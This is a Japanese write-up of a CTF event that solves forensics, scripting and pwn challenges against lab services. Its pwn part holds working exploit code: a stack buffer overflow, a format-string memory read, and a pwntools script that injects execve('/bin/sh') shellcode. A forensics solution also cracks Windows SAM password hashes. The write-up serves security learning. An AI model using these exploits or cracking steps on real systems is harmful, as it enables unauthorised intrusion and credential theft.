    unknown private, ancillary, unsafe-to-copy chunk
  chunk IDAT at offset 0x0005f, length 5655
    zlib: deflated, 32K window, maximum compression
    row filters (0 none, 1 sub, 2 up, 3 avg, 4 paeth):
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
      0 0 0 0 0 (480 out of 480)
  chunk fcTL at offset 0x01682, length 26
    unknown private, ancillary, unsafe-to-copy chunk
  chunk fdAT at offset 0x016a8, length 4793
    unknown private, ancillary, unsafe-to-copy chunk
  chunk fcTL at offset 0x0296d, length 26
    unknown private, ancillary, unsafe-to-copy chunk
  chunk fdAT at offset 0x02993, length 17
    unknown private, ancillary, unsafe-to-copy chunk
  chunk fcTL at offset 0x029b0, length 26
    unknown private, ancillary, unsafe-to-copy chunk
  chunk fdAT at offset 0x029d6, length 1893
    unknown private, ancillary, unsafe-to-copy chunk
  chunk fcTL at offset 0x03147, length 26
    unknown private, ancillary, unsafe-to-copy chunk
  chunk fdAT at offset 0x0316d, length 17
    unknown private, ancillary, unsafe-to-copy chunk
  chunk tEXt at offset 0x0318a, length 28, keyword: Software
    APNG Assembler 2.91
  chunk IEND at offset 0x031b2, length 0
No errors detected in .\tkys_another_day-1 (14 chunks, 100.0% compression).
PS C:\Users\WDAGUtilityAccount\Desktop\pngcheck-3.0.3-win32>

acTLfcTLなどの普段見ないチャンクがあったので調べてみると、Animated PNG用のチャンクのようでした。とりあえずブラウザがAPNGに対応していたと思って投げてみましたが静止画のままのようでした。仕方がないので各フレームを別々の画像に分割する方法を探してみるとSplit GIF image in framesを見つけたので、それを使いました。するとフラグの見えていなかった箇所も見えているフレームがあり、フラグが完全にわかりました: flag{a_fake_illness_is_the_most_serious_disease_f5ab7}

(f5ab7は何の英単語をleet表記にしたものなんでしょう……?)

[Forensics, 120pts] TITLE

仕事を終えて帰宅の途につくあなた。人通りの少ない住宅街を通り過ぎ、自宅のマンションにたどり着きます。ちょうど部屋のドアの前に立った時に手に持っていた携帯が鳴りメールを受信したことを伝えます。

件名:これが最後の警告だ

そのメールには画像が添付されていました。
 

添付されたファイルを解析し、フラグを得てください。

配布されたファイルは次のJPEG画像でした: EXIF情報に何かあるか調べたり「青い空を見上げればいつもそこに白い猫」でステガノグラフィーがあるか調べたりしましたが、特段何もありませんでした。悩むターンに入った後、画像右下の四角いブロックの模様が中途半端にあることが気になりました。JPG形式の画像の高さがどこにあるのか調べてみるとJPG セグメント(SOF0)を見つけました。0xFF, 0xC0から始まるSOF0セグメントというのがあり、その中にイメージの行数があるとのことです。そこの数値を変更してみると、画像の続きが出てきました: QRコードらしきものが見えたので、縦のマス数から29*29だろうと検討をつけ、それを復元する方法を探しました。LibreOfficeのエクセル方眼紙にマスを打ち込んでQRリーダーから読み込もうとするのは、全く認識されず失敗しました。未確定部分を全探索出来るツールがあったりしないか探してみるとwaidotto/strong-qr-decoder: 強力なQRコードデコーダを見つけました。テキストファイルを入力に無理やりデータを読み出してくれるとのことなので、早速入力を作って試しました:

$ cat qrcode_text.txt
#######????--###-##---#######
#-----#????----#--#-#-#-----#
#-###-#????--#---###--#-###-#
#-###-#????##--##-#---#-###-#
#-###-#????##--##-----#-###-#
#-----#????-###-###-#-#-----#
#######-#-#-#-#-#-#-#-#######
??????-??----#----##---------
??????#??--###-##--#-####--##
??????-??---#---#-###-##-#--#
??????#??##-###-##-#--##----#
??????-??-###-###--#-#-#-#-#-
??????#??##--##-#-##--#----##
??????-??##--##---####-#--#-#
??????#??#-#---#-###---##---#
??????-??#---#--#---####-#---
??????#??--###----###-#---#--
??????-??---#--##-#####---#-#
??????#??#--###########---#-#
??????-??#-##-#----####-#---#
??????#-###--##-##--#####---#
??????--#-#--######-#---#---#
#######----#---#----#-#-###-#
#-----#-#-#--#-#--###---##-#-
#-###-#--#####-##--######--##
#-###-#--##-#--###------##--#
#-###-#-##--####-#--#---#-###
#-----#-#####-#-#-###--###---
#######-##---###----#-#---#-#
$ ./sqrd.py qrcode_text.txt
flag{Y0u_k4ve_s1tnessed_t00_much}
$

フラグが出てきた、と喜んで提出しましたが残念ながら不正解でした。英文のようなので調べてみるとお前は知りすぎた (おまえはしりすぎた)とは【ピクシブ百科事典】You have witnessed too much…が載っていました。それっぽく変更したものを提出すると無事正解できました: flag{Y0u_h4ve_w1tnessed_t00_much}

2021/09/04 23:35追記 他の方のwriteupでは同じツールを使って一発でフラグが出ていたので、自分は入力テキストを打ち間違えたみたいです。

[Forensics, 150pts] CSIRT_asks_you_01

組織内のインシデント対応部署から急ぎ解析してほしいとの依頼が舞い込みました。不正侵入が確認された端末の Windows イベントログの調査で、状況把握のために侵害に関する詳細な日時を確認してほしいということのようです。

今回のあなたの仕事は送られてきたファイルを解析し、不正な方法によってネットワーク経由のログインが成功したことを示している最初の記録日時(TimeCreated SystemTime) と Event ID を特定することです。

フラグは UTC での記録日時 を yyyy/mm/dd_hh:mm:ss 形式にし、最後に Event ID をアンダースコアでつなげた形で答えてください。例えば 記録日時 が 2020/01/10 7:05:13.9234567Z 、Event ID が 1234 の場合は flag{2020/01/10_07:05:13_1234} となります。記録日時は UTC+0 で回答することに注意してください。

非常に悩んだ問題です。悩みすぎて2つ目の解析依頼(CSIRT_asks_you_02)の方が先に解けてしまいました。

配布ファイルを確認するとイベントログファイルでした:

$ file *
Security.evtx: MS Windows Vista Event Log, 145 chunks (no. 144 in use), next record no. 13877
$

2つ目の解析依頼の結果よりtestアカウントへのログインが怪しいので、WindowsのEvent Viewerで配布ファイルを開いて日時順ソートしてAccount Name: testで検索していきました。2021/07/18 06:50:40からネットワーク越しログイン試行が毎秒何回も行われており、2021/07/19 05:09:21でログイン成功(EventID:4624)していることが分かったので、日時をUTC+0にしたフラグを提出して正解できました: flag{2021/07/18_20:09:21_4624}

正解にたどり着くまでには、ログイン成功のイベントID4624で検索しまくったり、イベントログからログイン履歴を抽出するツールを探したり、ひたすら迷走を繰り返して間違ったフラグ提出を連発していました。……Event Viewerの使い勝手が、検索して移動した後とは別に現在フォーカスのある要素を管理していたり、検索ダイアログが使いにくかったり、一覧性が悪かったりしているので、他のツールがあれば恐らくそちらを使ったほうが楽だと思います。

[Forensics, 150pts] unallocated_space

「こりゃ今夜は帰れそうにないな」同僚がそう言いながらハードディスクやUSBメモリが大量に詰まった箱をどさっとデスクに置きます。すべてある組織で使用されていたもので本来は破壊処理されるはずが、不正に利益を得ようとした人物が仲介したことにより、破壊処理されずに中古市場に出回ってしまったもののようです。今日が記念日だという同僚を早く帰すため、あなたはディスクの解析調査を手伝うことにしました。復元可能なデータがないか確認してください。

添付されたファイルを解析し、フラグを入手してください。

問題文にある通り、配布ファイルはディスクイメージでした:

$ file unallocated_space
unallocated_space: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system", disk signature 0x23303fcc
$

testdiskを使ってみると、partition typeを自動認識してくれませんでした。しかしパーティション種類を順番に試していると、EFI GPTでうまく解析できました(Bad GPT partition, invalid signature.と最初言われましたが解析してみると成功しました)。ファイル一覧を表示すると、ルートディレクトリ直下にflag.mp4, flag_backup1.mp4, flag_backup2.mp4がありました。それらをコピーして内容を確認すると3ファイルとも同一で、再生してみるとmspaintでフラグを入力してる様子が映っていました: flag{file_carving_gogo}

[Forensics, 200pts] CSIRT_asks_you_02

組織内のインシデント対応部署から引き続き急ぎ解析してほしいとの依頼を受けています。

一つ目の解析依頼(CSIRT_asks_you_01)の結果と別の証拠などから、あるアカウントのパスワードが脆弱である可能性が示唆されています。添付されたファイルを解析し、そのパスワードを特定してください。

フラグはアカウント名とパスワード(平文)をアンダースコアでつないで回答してください。例えばアカウント名が user 、パスワードが pass の場合は flag{user_pass} と回答します。

1つ目の解析依頼よりも先にこの問題を解けました。配布ファイルを確認するとWindowsのレジストリファイルでした:

$ file *
SAM:           MS Windows registry file, NT/2000 or above
SAM.LOG1:      MS Windows registry file, NT/2000 or above
SAM.LOG2:      MS Windows registry file, NT/2000 or above
SECURITY:      MS Windows registry file, NT/2000 or above
SECURITY.LOG1: MS Windows registry file, NT/2000 or above
SECURITY.LOG2: empty
SYSTEM:        MS Windows registry file, NT/2000 or above
SYSTEM.LOG1:   MS Windows registry file, NT/2000 or above
SYSTEM.LOG2:   MS Windows registry file, NT/2000 or above
$

Windowsのパスワードの管理方法を調べてみると、Windowsアカウントのパスワードをクラッキングする方法 - セキュリティのページを見つけました。SAM(Security Account Manager)にパスワードハッシュが含まれているようです。そのページで紹介されているJohn the Ripperをダウンロードしようとしたら、John the RipperのサイトではWindows版ではHash Suiteを推奨されていたのでそちらを使うことにしました。

Hash Suiteの左上メニューからImport→From Windows Registryを選び、Backup files箇所のSAMの項目に、配布されたSAMファイルを読み込ませました。MainメニューからWordListを使うように設定して開始してみると、testアカウントのパスワードがtesttestだと一瞬で判明しました。後は問題文の通りに結合してフラグを入手できました: flag{test_testtest}

[Programing, 80pts] ZZZIPPP

あなたはあるファイルの解析作業を依頼されました。何重にも入れ子になった箱のようなファイルのようで、その中に組織にとって重要な機密情報が入っているようです。

添付されたファイルを解析してフラグを入手してください。

配布ファイルはflag1000.zipでした。中身を見るに1000重ZIPのようです。そういうわけでZIPファイルの扱い方を調べながら以下のコードを書きました:

#!/usr/bin/env python3.8

import sys
import io
import zipfile

def extract_one(zip_bytes):
    with zipfile.ZipFile(io.BytesIO(zip_bytes), "r") as f:
        names = f.namelist()
        if len(names) != 1:
            sys.exit(f"no file or many files!")

        name = names[0]
        return (name, f.read(name))

with open("flag1000.zip", "rb") as f:
    b = f.read()
while True:
    (name, b) = extract_one(b)
    print(name)
    if not name.endswith(".zip"):
        print(b.decode())
        break

実行すると以下の出力を得られました:

$ ./solve.py
flag999.zip
flag998.zip
flag997.zip
(中略)
flag2.zip
flag1.zip
flag.txt
flag{loop-zip-1989-zip-loop}

$

フラグを入手できました: flag{loop-zip-1989-zip-loop}

[Programing, 120pts] echo_me

山登りが趣味だという同僚が疲れた様子で話しかけてきます。山でヤッホーと声を出せば、いつでもヤッホーと返ってくる。そんなあたりまえを支えるやまびこさんの気持ちって、どんな感じなんでしょうね。その眼には若干の狂気が宿っているようにも思えました。あなたは同僚を狂気から救うため、解析作業を手伝うことにしました。

以下にアクセスしてフラグを得てください。

nc 10.1.1.10 12020

この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/

とりあえずLinuxターミナルへログインしてncコマンドを実行してみました:

user@94d6872aeb52:~$ nc 10.1.1.10 12020
==========
echo me: 24541938
==========
24541938
Correct!

==========
echo me: 14252928
==========

Incorrect! Nice try!


$

出力された内容の一部をそのまま入力に回してやれば良さそうです。手元環境ならpwntools使うんだけれどどうしよう、と考えながらLinuxターミナルの環境を調べていると、実はpwntoolsがインストールされていました、ありがたや。

user@94d6872aeb52:~$ python3 --version
Python 3.8.5
user@94d6872aeb52:~$ python3 -m pip show pwntools
Name: pwntools
Version: 4.5.1
Summary: Pwntools CTF framework and exploit development library.
Home-page: https://pwntools.com
Author: Gallopsled et al.
Author-email: pwntools-users@googlegroups.com
License: Mostly MIT, some GPL/BSD, see LICENSE-pwntools.txt
Location: /usr/local/lib/python3.8/dist-packages
Requires: paramiko, six, psutil, rpyc, colored-traceback, mako, capstone, ropgadget, pygments, sortedcontainers, pysocks, python-dateutil, pip, pathlib2, unicorn, pyelftools, requests, packaging, intervaltree, pyserial
Required-by: pwn
user@94d6872aeb52:~$

そういうわけで以下のコードを書きました:

#!/usr/bin/env python3.8

import pwn

pwn.context.log_level = "DEBUG"

def echo(tube):
    while True:
        r = tube.recvuntil(b"echo me: ")
        r = tube.recvline()
        tube.send(r)

with pwn.remote("10.1.1.10", 12020) as tube:
    echo(tube)

実行しました:

user@3daa0e39ffd0:~$ ./solve.py
[+] Opening connection to 10.1.1.10 on port 12020: Done
[DEBUG] Received 0xb bytes:
    b'==========\n'
[DEBUG] Received 0x1d bytes:
    b'echo me: 77379752\n'
    b'==========\n'
[DEBUG] Sent 0x9 bytes:
    b'77379752\n'
[DEBUG] Received 0x32 bytes:
    b'Correct!\n'
    b'\n'
(中略)
[DEBUG] Received 0x28 bytes:
    b'==========\n'
    b'echo me: 10353562\n'
    b'==========\n'
[DEBUG] Sent 0x9 bytes:
    b'10353562\n'
[DEBUG] Received 0x29 bytes:
    b'Correct!\n'
    b'\n'
    b'flag{Hellow_yamabiko_Yoo-hoo!}\n'
[*] Closed connection to 10.1.1.10 port 12020
Traceback (most recent call last):
  File "./solve.py", line 14, in <module>
    echo(tube)
  File "./solve.py", line 9, in echo
    r = tube.recvuntil(b"echo me: ")
  File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 333, in recvuntil
    res = self.recv(timeout=self.timeout)
  File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 105, in recv
    return self._recv(numb, timeout) or b''
  File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 183, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
  File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 154, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/sock.py", line 58, in recv_raw
    raise EOFError
EOFError
user@3daa0e39ffd0:~$

フラグを入手できました: flag{Hellow_yamabiko_Yoo-hoo!}

[Programing, 150pts] EZZZIPPP

> あなたは再びあるファイルの解析作業を依頼されました。何重にも入れ子になった箱のようなファイルですが、今度は鍵までかかっているようです。ファイルを解析し中に封じ込められている機密情報を取得してください。
>
> ファイルを解析してフラグを入手してください。

配布ファイルを確認するとflag1000.zippass.txtがありました。今回はパスワード付きの1000重ZIPで、各ZIP内部に次ZIPと次ZIP用のpass.txtがあるようです。そういうわけで次のコードを書きました:

#!/usr/bin/env python3.8

import sys
import io
import zipfile

def extract_one(zip_bytes, password):
    with zipfile.ZipFile(io.BytesIO(zip_bytes), "r") as f:
        names = f.namelist()
        if len(names) == 2:
            filename = next(n for n in names if n != "pass.txt")
            passtxt = next(n for n in names if n == "pass.txt")
            return (filename,
                    f.read(filename, pwd=password),
                    f.read(passtxt, pwd=password).rstrip())
        elif len(names) == 1:
            return (names[0],
                    f.read(names[0], pwd=password),
                    None)

with open("flag1000.zip", "rb") as f:
    b = f.read()
with open("pass.txt", "rb") as f:
    password = f.read().rstrip()

while True:
    (name, b, password) = extract_one(b, password)
    print(name, password)
    if not name.endswith(".zip"):
        print(b.decode())
        break

実行すると、2~3分ほどで最後まで処理できました:

$ ./solve.py
flag999.zip b'xSdiBJD6qU'
flag998.zip b'SDOMUaDM58'
flag997.zip b'hts6rRuyUI'
(中略)
flag2.zip b'2MPNeLgcTV'
flag1.zip b'flag'
flag.txt None
flag{bdf574f15645df736df13daef06128b8}

$

フラグを入手できました: flag{bdf574f15645df736df13daef06128b8}

[Programing, 250pts] deep_thought

計算勝負をしましょう。普段は寡黙に働き続けているサーバが不意に話しかけてきました。あなたは珍しいこともあるものだと思いつつも、そのサーバからの挑戦を受けることにしました。

以下にアクセスしてフラグを得てください。

nc 10.1.1.10 12010

この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/

とりあえずLinuxターミナルへログインしてncコマンドを実行してみました:

user@3daa0e39ffd0:~$ nc 10.1.1.10 12010
[ Q1 ]
3 - 2
1
Correct!

[ Q2 ]
7 + 3
42
Incorrect! Nice try!

user@3daa0e39ffd0:~$

どうやら足し算や引き算の問題が出てくるようです。隔離された環境のターミナルなのでevalで楽するコードを書きました:

#!/usr/bin/env python3.8

import pwn

pwn.context.log_level = "DEBUG"

def echo(tube):
    while True:
        tube.recvuntil(b"]")
        tube.recvline()
        r = tube.recvlineS().rstrip()
        tube.sendline(str(eval(r)).encode())

with pwn.remote("10.1.1.10", 12010) as tube:
    echo(tube)

実行しました:

user@3daa0e39ffd0:~$ ./solve.py
[+] Opening connection to 10.1.1.10 on port 12010: Done
[DEBUG] Received 0xd bytes:
    b'[ Q1 ]\n'
    b'5 + 4\n'
[DEBUG] Sent 0x2 bytes:
    b'9\n'
[DEBUG] Received 0x11 bytes:
    b'Correct!\n'
    b'\n'
(中略)
    b'[ Q50 ]\n'
    b'2206 - 2319\n'
[DEBUG] Sent 0x5 bytes:
    b'-113\n'
[DEBUG] Received 0xa bytes:
    b'Correct!\n'
    b'\n'
[DEBUG] Received 0xd bytes:
    b'flag{__42__}\n'
[*] Closed connection to 10.1.1.10 port 12010
Traceback (most recent call last):
  File "./solve.py", line 15, in <module>
    echo(tube)
  File "./solve.py", line 9, in echo
    tube.recvuntil(b"]")
  File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 333, in recvuntil
    res = self.recv(timeout=self.timeout)
  File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 105, in recv
    return self._recv(numb, timeout) or b''
  File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 183, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
  File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 154, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/sock.py", line 58, in recv_raw
    raise EOFError
EOFError
user@3daa0e39ffd0:~$

生命、宇宙、そして万物についての究極の疑問の答えを入手できました: flag{__42__}

[Pwn, 100pts] tkys_let_die

瑠璃色の扉を有する荘厳な門が目の前にあった。めずらしく後輩が家に招待してくれるというので訪問することにしたあなた。うちの家は特別に許可を受けた人物でないと入れないもので。後輩はそういうとすみませんねと静かに門を閉じる。招かれても許可はもらえていないのか。どうやら後輩の家に入るにはこの門を自力で突破する必要がありそうです。

添付されたファイルを解析し、以下にアクセスしてフラグを入手してください。

nc 10.1.1.10 13020

この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/
CTF に初めて挑戦する方はコチラ

この設問では Linux ターミナルからコマンドを入力する必要があります。

    URL を右クリックし、新しいタブで 開きます
    新しいタブのページに移り、CTF に登録したユーザ名とパスワードを入力します
    コマンドを受け付ける画面が表示されたら nc 10.1.1.10 13020 と入力します

接続先のサーバの動作や設問の説明文、また添付されたファイルを注意深く観察し、フラグを獲得します。

もしうまくいかない場合は、手順をはじめからやり直してみてください。

配布ファイルを確認するとELF形式でした:

$ file gate
gate: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e9d7ef71659ad8874194e92264ffdadac305c962, for GNU/Linux 3.2.0, not stripped
$

IDAで開いて内容を確認しました。最近のIDAではFree版でもx64バイナリを逆コンパイルできて非常にありがたいです:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char name[26]; // [rsp+0h] [rbp-20h] BYREF
  char gate[6]; // [rsp+1Ah] [rbp-6h] BYREF

  strcpy(gate, "close");
  *(_QWORD *)name = '..';
  *(_QWORD *)&name[8] = 0LL;
  putchar(10);
  /* 門のAA表示箇所、省略 */
  putchar(10);
  printf("You'll need permission to pass. What's your name?\n> ");
  __isoc99_scanf("%32[^\n]", name);
  if ( !strcmp(gate, "open") )
  {
    printFlag(gate, "open");
  }
  else
  {
    printf("Gate is %s.\n", gate);
    printf("Goodbay %s.\n", name);
  }
  return 0;
}

name変数は26バイトの配列ですが、32文字まで読み込むためバッファオーバーフローします。スタックの使われ方を見ると、name変数の直後にgate変数が位置していたため、gate変数の内容も書き換えられます。そういうわけでオーバーフローさせてみます:

user@f4a31d2cd563:~$ nc 10.1.1.10 13020

                                  {} {}
                          !  !  ! II II !  !  !
                       !  I__I__I_II II_I__I__I  !
                       I_/|__|__|_|| ||_|__|__|\_I
                    ! /|_/|  |  | || || |  |  |\_|\ !
        .--.        I//|  |  |  | || || |  |  |  |\\I        .--.
       /-   \    ! /|/ |  |  |  | || || |  |  |  | \|\ !    /=   \
       \=__ /    I//|  |  |  |  | || || |  |  |  |  |\\I    \-__ /
        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \|\ !  }  {
       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\I {____}
 _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \|\=|  |__!__!_
 _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_
 -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-
  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |
  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |
 _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_
 -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-
  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |
 ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

You'll need permission to pass. What's your name?
> 12345678901234567890123456open

 =============================

     GREAT! GATE IS OPEN!!

 >> Flag is flag{Alohomora} <<

    *-*-*-*-*-*-*-*-*-*-*-*

 =============================
user@f4a31d2cd563:~$

フラグを入手できました: flag{Alohomora}

フラグ文字列を調べてみると、ハリーポッターの呪文の名前とのことでした。

[Pwn, 200pts] 1989

脆弱性を調査し、フラグを入手してください。

nc 10.1.1.10 13030

この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/

悩んだ問題の1つです。まず配布ファイルがありませんでした、最初はエスパー問題なのかとびっくりしていました。とりあえず接続してみました:

user@f4a31d2cd563:~$ nc 10.1.1.10 13030
===========================================================
   _______          ________            __ ____  _  _
  / ____\ \        / /  ____|          /_ |___ \| || |
 | |     \ \  /\  / /| |__     ______   | | __) | || |_
 | |      \ \/  \/ / |  __|   |______|  | ||__ <|__   _|
 | |____   \  /\  /  | |____            | |___) |  | |
  \_____|   \/  \/   |______|           |_|____/   |_|

==========================================================

        |
flag    | [0x5664b060] >> flag is here <<
        |

Ready > 0x5664b060
Your Inpur : 0x5664b060



user@f4a31d2cd563:~$

どうやら入力内容を出力し返してくれるようです。最初はバッファオーバーフローでリターンアドレスをflagの位置に改ざんすると思っていたのですが、全然うまく行きませんでした。悩んだ後、表示されるCWE-134で検索みるとCWE - CWE-134: Use of Externally-Controlled Format String (4.5)と、書式文字列のバグのことを表しているようでした。試すとたしかに入力文字列の書式文字列が反映されてしまっていました:

Ready > AAAAAAAAAAAAAAAAAAAAAAAA %p%p%p%p%p%p%p%p
Your Inpur : AAAAAAAAAAAAAAAAAAAAAAAA 0xffce3db00xffce41b80x5655b3060x414141410x414141410x414141410x414141410x41414141

ここまで分かった後に迷走していました。しばらく悩んだ後に、「入力内容を書式文字列で参照できるので、flagのアドレスをlittle-endianで入力して、その後に%sで参照させれば良いのでは」とようやく思いつきました。試すと4番目の書式文字列で入力内容を参照できることが分かったので以下のコードを書きました:

#!/usr/bin/env python3.8

import pwn

# pwn.context.log_level = "DEBUG"

def solve(tube):
    tube.readuntil(b"[")
    s = tube.readuntil(b"]")[:-1]
    print(s)
    address = int(s, 16).to_bytes(byteorder="little", length=4)
    payload = address + b"%4$s"
    tube.sendline(payload)
    tube.recvuntil(b"Your Inpur : ")
    print(tube.recvall())

with pwn.remote("10.1.1.10", 13030) as tube:
    solve(tube)

実行すると以下の出力を得られました:

user@14d208737f69:~$ ./solve.py
[+] Opening connection to 10.1.1.10 on port 13030: Done
b'0x5659d060'
[+] Receiving all data: Done (31B)
[*] Closed connection to 10.1.1.10 port 13030
b'`\xd0YVflag{Homenum_Revelio_1989}\n'
user@14d208737f69:~$

フラグを入手できました: flag{Homenum_Revelio_1989}

[Pwn, 300pts] Shellcode

添付されたファイルを解析し、以下にアクセスしてフラグを入手してください。

nc 10.1.1.10 13050

この設問では Linux ターミナルを使用します。
https://ctf.setodanote.net/webshell/

配布ファイルを確認するとELF形式でした:

$ file shellcode
shellcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dfb33311207161fab6bf4b8dcd84364df9b280a, for GNU/Linux 3.2.0, not stripped
$

IDAで開いて逆コンパイルしました:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  setvbuf(_bss_start, buf, 2, 0x50uLL);
  puts("       |");
  printf("target | [%p]\n", buf);
  puts("       |");
  printf("Well. Ready for the shellcode?\n> ");
  __isoc99_scanf("%[^\n]", buf);
  puts(buf);
  return 0;
}

"%[^\n]"の書式文字列の挙動を試してみると、NUL文字もそれ以降もバッファに書き込めるようでした。そのためこのバイナリは、改行文字(\n, 0x0a)以外のバイトを、任意サイズだけ書き込めるようです。問題名や出力内容からシェルコードを実行させる問題のようですし、ローカル変数のアドレスを出力してくれるためリターンアドレスをどこに変更すれば良いかも分かります。Syscall Number for x86-64 linux (A)execve(2) - Linux manual pageを見ながら試行錯誤して、以下のコードを書きました:

#!/usr/bin/env python3.8

import pwn

pwn.context.update(arch="amd64", bits=64, endian='little', os='linux')
# pwn.context.log_level = "DEBUG"

def solve(tube):
    tube.recvuntil(b"[")
    target = int(tube.recvuntilS(b"]")[:-1], 16)
    print(hex(target))

    payload = b"A" * (80 + 8) # buffer size + saved rbp
    shellcode_address = (target + 80 + 8 + 8) # written length + return address
    payload += pwn.pack(shellcode_address)

    shellcode = bytearray(b"\x90" * 128)
    bin_sh_address = shellcode_address + len(shellcode)
    shellcode += b"/bin/sh\x00"
    argv_address = shellcode_address + len(shellcode)
    shellcode += pwn.pack(bin_sh_address) # ["/bin/sh", NULL]
    shellcode += pwn.pack(0)
    tmp = pwn.asm(f"""
mov rax, 59
mov rdi, {bin_sh_address}
mov rsi, {argv_address}
mov rdx, 0
syscall
""")
    shellcode[0:len(tmp)] = tmp
    payload += shellcode
    print(payload)
    tube.sendline(payload)

    tube.interactive()

with pwn.remote("10.1.1.10", 13050) as tube: solve(tube)
# with pwn.process("./shellcode") as tube: solve(tube)
# with pwn.gdb.debug("./shellcode", "\n".join(["set follow-fork-mode parent", "b puts", "c", "c", "c", "fin", "ni", "ni"])) as tube: solve(tube)

コードを実行してシェルを取れました:

user@14d208737f69:~$ ./solve.py
[+] Opening connection to 10.1.1.10 on port 13050: Done
0x7ffed4ff19e0
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\x1a\xff\xd4\xfe\x7f\x00\x00H\xc7\xc0;\x00\x00\x00H\xbf\xc0\x1a\xff\xd4\xfe\x7f\x00\x00H\xbe\xc8\x1a\xff\xd4\xfe\x7f\x00\x00H\xc7\xc2\x00\x00\x00\x00\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90/bin/sh\x00\xc0\x1a\xff\xd4\xfe\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Switching to interactive mode

       |
Well. Ready for the shellcode?
